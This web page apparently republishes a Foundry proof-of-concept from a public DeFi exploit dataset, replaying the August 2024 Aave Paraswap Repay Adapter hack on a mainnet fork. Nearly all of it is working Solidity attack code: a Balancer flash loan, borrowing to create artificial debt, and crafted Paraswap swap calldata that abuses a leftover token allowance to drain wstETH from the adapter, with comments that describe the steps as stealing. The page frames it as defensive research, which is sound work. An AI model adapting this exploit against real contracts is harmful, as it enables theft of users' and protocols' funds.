Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/AAVE_Repay_Adapter.sol

Public reproduction file for dataset entry AAVE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/AAVE_Repay_Adapter.sol362 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6import "./../interface.sol";
7
8// @KeyInfo - Total Lost : 56000
9// Attacker : https://etherscan.io/address/0x6ea83f23795f55434c38ba67fcc428aec0c296dc
10// Attack Contract : https://etherscan.io/address/0x5e2FFf7bBc7c634992170fF18240b8f10c4D48C6
11// Created Attack Contract: https://etherscan.io/address/0x78B0168a18eF61D7460FAbb4795e5f1A9226583E
12// Vulnerable Contract : https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3
13// Attack Tx : https://etherscan.io/tx/0xc27c3ec61c61309c9af35af062a834e0d6914f9352113617400577c0f2b0e9de
15// @Info
16// Vulnerable Contract Code : https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3#code
18// @Analysis
19// Post-mortem : https://blog.solidityscan.com/aave-repay-adapter-hack-analysis-aafd234e15b9
20// Twitter Guy : https://twitter.com/quillaudits_ai/status/1828741457525530968
22pragma solidity ^0.8.0;
24struct PermitSignature {
25 uint256 amount;
26 uint256 deadline;
27 uint8 v;
28 bytes32 r;
29 bytes32 s;
32interface IParaswapRepayAdapter {
33 function swapAndRepay(
34 address collateralAsset,
35 address debtAsset,
36 uint256 collateralAmount,
37 uint256 debtRepayAmount,
38 uint256 debtRateMode,
39 uint256 buyAllBalanceOffset,
40 bytes calldata paraswapData,
41 PermitSignature calldata permitSignature
42 ) external;
45struct SimpleData {
46 address fromToken;
47 address toToken;
48 uint256 fromAmount;
49 uint256 toAmount;
50 uint256 expectedAmount;
51 address[] callees;
52 bytes exchangeData;
53 uint256[] startIndexes;
54 uint256[] values;
55 address payable beneficiary;
56 address payable partner;
57 uint256 feePercent;
58 bytes permit;
59 uint256 deadline;
60 bytes16 uuid;
63contract AAVERepayAdapterHack is BaseTestWithBalanceLog {
64 uint256 blocknumToForkFrom = 20_624_703;
66 address LIDOWST = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
67 address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
68 address WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
70 address BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
71 address PARASWAP_REPAY_ADAPTER = 0x02e7B8511831B1b02d9018215a0f8f500Ea5c6B3;
73 address AAVE_WBTC_V3 = 0x5Ee5bf7ae06D1Be5997A1A72006FE6C607eC6DE8;
74 address AAVE_WSTETH_V3 = 0x0B925eD163218f6662a35e0f0371Ac234f9E9371;
76 address ORACLE;
77 address POOL; // 0x87870bca3f3fd6335c3f4ce8392d69350b4fa4e2
79 address AUGUSTUS_SWAPPER = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;
81 function setUp() public {
82 vm.createSelectFork("mainnet", blocknumToForkFrom);
83 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
84 fundingToken = LIDOWST;
86 (, bytes memory result2) = PARASWAP_REPAY_ADAPTER.staticcall(abi.encodeWithSignature("ORACLE()"));
87 ORACLE = abi.decode(result2, (address));
89 (, bytes memory result) = PARASWAP_REPAY_ADAPTER.staticcall(abi.encodeWithSignature("POOL()"));
90 POOL = abi.decode(result, (address));
91 }
93 function testExploit() public balanceLog {
94 // NOTE: FOR BREVITY of the POC, WE'LL ONLY STEAL THE LIDO WST, but the same can be done for each token in the Adapter
96 uint256 balanceBeforeLIDOWST = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);
97 uint256 balanceBeforeUSDT = IERC20(USDT).balanceOf(PARASWAP_REPAY_ADAPTER);
98 uint256 balanceBeforeWBTC = IERC20(WBTC).balanceOf(PARASWAP_REPAY_ADAPTER);
99 // Log both
100 console.log("LIDOWST in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeLIDOWST);
101 console.log("USDT in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeUSDT);
102 console.log("WBTC in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeWBTC);
104 uint256 balanceVaultWBTC = IERC20(WBTC).balanceOf(BALANCER_VAULT);
105 uint256 balanceVaultLIDOWST = IERC20(LIDOWST).balanceOf(BALANCER_VAULT);
106 uint256 balanceVaultUSDT = IERC20(USDT).balanceOf(BALANCER_VAULT);
108 // Log floashLoaned balances
109 console.log("Will flash: [WBTC] %s", balanceVaultWBTC); // all vault
110 console.log("Will flash: [LIDOWST] %s", balanceVaultLIDOWST); // all vault
111 console.log("Will flash: [USDT] %s", balanceVaultUSDT); // all vault
113 uint256[] memory amounts = new uint256[](3);
114 amounts[0] = balanceVaultWBTC;
115 amounts[1] = balanceVaultLIDOWST;
116 amounts[2] = balanceVaultUSDT;
118 address[] memory tokens = new address[](3);
119 tokens[0] = WBTC;
120 tokens[1] = LIDOWST;
121 tokens[2] = USDT;
123 // Flash loan Balancer max value of each token
124 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
125 }
127 function receiveFlashLoan(
128 address[] calldata tokens,
129 uint256[] calldata amounts,
130 uint256[] calldata premiums,
131 bytes calldata data
132 ) external {
133 // Log POOL
134 console.log("POOL: %s", POOL); // 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2 Aave Ethereum USDC
135 // Underlying -> 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 (USDC)
137 // Allow Aave Pool V3 to spend the tokens
138 uint256 mustRepayWBTC = amounts[0] + premiums[0];
139 uint256 mustRepayLIDOWST = amounts[1] + premiums[1];
140 uint256 mustRepayUSDT = amounts[2] + premiums[2];
142 IERC20(WBTC).approve(POOL, mustRepayWBTC);
143 IERC20(LIDOWST).approve(POOL, mustRepayLIDOWST);
144 IUSDT(USDT).approve(POOL, mustRepayUSDT);
146 IAaveFlashloan pool = IAaveFlashloan(POOL);
148 // Supply x2 Balance of PARASWAP_REPAY_ADAPTER balance so we can call repayAndSwap after
149 uint256 balanceBeforeWBTC = IERC20(WBTC).balanceOf(PARASWAP_REPAY_ADAPTER);
150 uint256 balanceBeforeLIDOWST = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);
151 uint256 balanceBeforeUSDT = IERC20(USDT).balanceOf(PARASWAP_REPAY_ADAPTER);
152 // Log both
153 {
154 // Supply BTC to use as collateral
155 pool.supply(WBTC, mustRepayWBTC, address(this), 0);
156 ILendingPool(POOL).setUserUseReserveAsCollateral(WBTC, true);
157 IERC20(AAVE_WBTC_V3).approve(PARASWAP_REPAY_ADAPTER, mustRepayWBTC);
159 console.log("LIDOWST in PARASWAP_REPAY_ADAPTER at the moment: %s", balanceBeforeLIDOWST);
160 uint256 someLIDOWSTsupplied = balanceBeforeLIDOWST * 2;
161 IERC20(LIDOWST).approve(POOL, someLIDOWSTsupplied);
162 pool.supply(LIDOWST, someLIDOWSTsupplied, address(this), 0);
164 // Log supplied
165 console.log("Supplied LIDOWST %s", LIDOWST);
167 // Calc amount USDT to borrow
168 uint256 calcBorrowUSDT = _getBorrowAmount(balanceBeforeLIDOWST, USDT);
169 uint256 finalBorrowAmount = calcBorrowUSDT + (calcBorrowUSDT / 10);
171 // Log finaborrowAmount
172 console.log("finalBorrowAmount: %s", finalBorrowAmount);
173 require(finalBorrowAmount == 1_776_451_780, "wrong calculation");
175 IERC20(AAVE_WSTETH_V3).approve(PARASWAP_REPAY_ADAPTER, mustRepayLIDOWST);
177 // We borrow to create an artifical debt inside AAVE, so we can use the PARASWAP_REPAY_ADAPTER to repay it
178 // We repay it partially on each `.withdraw()` call (2) through the hack
179 ILendingPool(POOL).borrow(USDT, finalBorrowAmount, 2, 0, address(this));
181 console.log("collateralAmount: %s", balanceBeforeLIDOWST);
182 console.log("debtRepayAmount: %s", calcBorrowUSDT);
184 bytes memory paraswapData;
186 {
187 address[] memory callees = new address[](1);
188 callees[0] = address(this);
189 bytes memory exchangeData = abi.encodeWithSignature("withdraw(address,uint256)", USDT, calcBorrowUSDT);
191 // console.log("Exchange data:");
192 // console.logBytes(exchangeData);
193 // console.logBytes(hex"f3fef3a3000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000060424684");
195 uint256[] memory startIndexes = new uint256[](2);
196 startIndexes[0] = 0;
197 startIndexes[1] = 68;
198 uint256[] memory values = new uint256[](1);
199 values[0] = 0;
200 bytes memory buyCallData = abi.encodeWithSelector(
201 hex"54e3f31b",
202 (
203 SimpleData( // simpleSwap 54e3f31b
204 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // fromToken (WETH) (even if we will say to swapAndRepay() our collateral is gonna be LIDO)
205 USDT, // toToken
206 0, // fromAmount
207 calcBorrowUSDT, // toAmount
208 calcBorrowUSDT, // Expected amount
209 callees,
210 exchangeData,
211 startIndexes,
212 values,
213 payable(PARASWAP_REPAY_ADAPTER), // beneficiary
214 payable(address(this)), // partner
215 0, // feePercent
216 hex"", // permit
217 1_724_819_351, // deadline
218 bytes16(0)
219 )
220 )
221 );
223 paraswapData = abi.encode(buyCallData, AUGUSTUS_SWAPPER);
224 }
225 // console.log("Paraswap data:");
226 // console.logBytes(paraswapData);
228 // Since AUGUSTUS_SWAPPER never cleans up the allowance of fromToken (LIDOWST), we do a first repay so
229 // tokenTransferProxy has extremely high allowance,
230 // our crafter buyCallData allow us to repay with our own funds from `.withdraw()` in our contract, not actually going through any swapping flow
231 IParaswapRepayAdapter(PARASWAP_REPAY_ADAPTER).swapAndRepay(
232 LIDOWST, // collateralAsset
233 USDT, // debtAsset
234 balanceBeforeLIDOWST,
235 calcBorrowUSDT,
236 2,
237 0,
238 paraswapData,
239 PermitSignature(0, 0, 0, 0, 0) // We already approved
240 );
242 // Time to abuse the extreme approval and steal the funds while repaying our USDT debt in the meantime
244 // Get our USDT debt
245 uint256 debtUSDT = IERC20(0x6df1C1E379bC5a00a7b4C6e67A203333772f45A8).balanceOf(address(this));
246 uint256 LidoWST_ToStealFromAdapter = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);
248 {
249 address[] memory callees = new address[](2);
250 callees[0] = LIDOWST;
251 callees[1] = address(this);
252 bytes memory exchangePart1 =
253 abi.encodeWithSignature("transfer(address,uint256)", address(this), LidoWST_ToStealFromAdapter); // Transfer LIDOWST to us
254 bytes memory exchangePart2 = abi.encodeWithSignature("withdraw(address,uint256)", USDT, debtUSDT); // Repay our .borrow() debt
255 bytes memory exchangeData = abi.encodePacked(exchangePart1, exchangePart2);
257 // console.log("Exchange data:");
258 // console.logBytes(exchangeData);
259 // console.log("0xa9059cbb00000000000000000000000078b0168a18ef61d7460fabb4795e5f1a9226583e00000000000000000000000000000000000000000000000005e9564c2c66c4f7f3fef3a3000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000009a03a40");
261 uint256[] memory startIndexes = new uint256[](3);
262 startIndexes[0] = 0;
263 startIndexes[1] = 68;
264 startIndexes[2] = 136;
265 uint256[] memory values = new uint256[](2);
266 values[0] = 0;
267 values[1] = 0;
268 bytes memory buyCallData = abi.encodeWithSelector(
269 hex"54e3f31b",
270 (
271 SimpleData( // simpleSwap 54e3f31b
272 LIDOWST, // fromToken
273 USDT, // toToken
274 LidoWST_ToStealFromAdapter, // fromAmount (all LIDOWST in PARASWAP_REPAY_ADAPTER)
275 debtUSDT, // toAmount
276 debtUSDT, // Expected amount
277 callees,
278 exchangeData,
279 startIndexes,
280 values,
281 payable(PARASWAP_REPAY_ADAPTER), // beneficiary
282 payable(address(this)), // partner
283 0, // feePercent
284 hex"", // permit
285 1_724_819_351, // deadline
286 bytes16(0)
287 )
288 )
289 );
291 paraswapData = abi.encode(buyCallData, AUGUSTUS_SWAPPER);
292 }
293 // console.log("Paraswap data:");
294 // console.logBytes(paraswapData);
296 IParaswapRepayAdapter(PARASWAP_REPAY_ADAPTER).swapAndRepay(
297 WBTC, // collateralAsset
298 USDT, // debtAsset
299 1,
300 debtUSDT,
301 2,
302 0,
303 paraswapData,
304 PermitSignature(0, 0, 0, 0, 0) // We already approved
305 );
307 // Verify we stole the funds
308 console.log(
309 "WSTETH in PARASWAP_REPAY_ADAPTER at the moment: %s", IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER)
310 ); // 0
312 // Get back our supplied LIDOWST & WBTC (use type(uint).max to get all possible)
313 ILendingPool(POOL).withdraw(LIDOWST, type(uint256).max, address(this));
314 ILendingPool(POOL).withdraw(WBTC, type(uint256).max, address(this));
315 // console.log("Withdrew %s ", USDC);
316 }
318 repayFlashLoan(tokens, amounts, premiums);
319 }
321 // Calculation from here: https://app.dedaub.com/ethereum/address/0x78b0168a18ef61d7460fabb4795e5f1a9226583e/decompiled
322 // Basically (PriceInUSDT + 30% + 1) + 10%
324 function _getBorrowAmount(uint256 balanceBeforeLIDOWST, address outToken) private view returns (uint256) {
325 IPriceOracleGetter oracle = IPriceOracleGetter(ORACLE);
326 uint256 priceLIDOWST = oracle.getAssetPrice(LIDOWST);
327 uint256 priceUSDT = oracle.getAssetPrice(USDT);
328 console.log("Price LIDOWST: %s", priceLIDOWST);
329 console.log("Price USDT: %s", priceUSDT);
331 uint256 priceUSDTAdjusted = priceUSDT * 10 ** 6;
332 uint256 priceLIDOWSTAdjusted = priceLIDOWST * 10 ** 18;
334 uint256 balanceTimesPrice = balanceBeforeLIDOWST * priceLIDOWSTAdjusted;
335 uint256 balanceDividedByPrice = balanceTimesPrice / priceUSDTAdjusted;
336 uint256 someUSDTborrowed = balanceDividedByPrice * 13_000 / 10_000;
338 // Clean up to correct decimals
339 someUSDTborrowed = someUSDTborrowed / 10 ** (18 + 6);
340 someUSDTborrowed += 1; // to avoid rounding errors
341 console.log("Some _getBorrowAmount: %s", someUSDTborrowed);
342 return someUSDTborrowed;
343 }
345 // Gets called twice per attack on a specific token
346 // First time it pays the swapAndRepay using its own funds (you're still repaying your own "debt" so no money is really lost since you can withdraw it back)
347 // Second time it steals the funds
348 function withdraw(address user, uint256 withdrawAmount) public {
349 console.log("Withdraw %s", withdrawAmount);
350 IUSDT(user).transfer(msg.sender, withdrawAmount);
351 }
353 function repayFlashLoan(
354 address[] calldata tokens,
355 uint256[] calldata amounts,
356 uint256[] calldata premiums
357 ) public {
358 for (uint256 i = 0; i < tokens.length; i++) {
359 IUSDT(tokens[i]).transfer(BALANCER_VAULT, amounts[i] + premiums[i]);
360 }
361 }

Analysis

Dataset entry

Public Foundry test for “AAVE” (2024-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6ea83f23795f55434c38ba67fcc428aec0c296dc

  • Attack Contract

    0x5e2fff7bbc7c634992170ff18240b8f10c4d48c6

  • Vulnerable Contract

    0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3

  • Attack Tx

    0xc27c3ec61c61309c9af35af062a834e0d6914f9352113617400577c0f2b0e9de

File record

Name
AAVE
Path
src/test/2024-08/AAVE_Repay_Adapter.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f536527b8133ecd7e8c9815f708803809ef6df4d
Language
Solidity
Size
363 lines
Date
2024-08-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/AAVE_Repay_Adapter.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f536527b8133ecd7e8c9815f708803809ef6df4d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.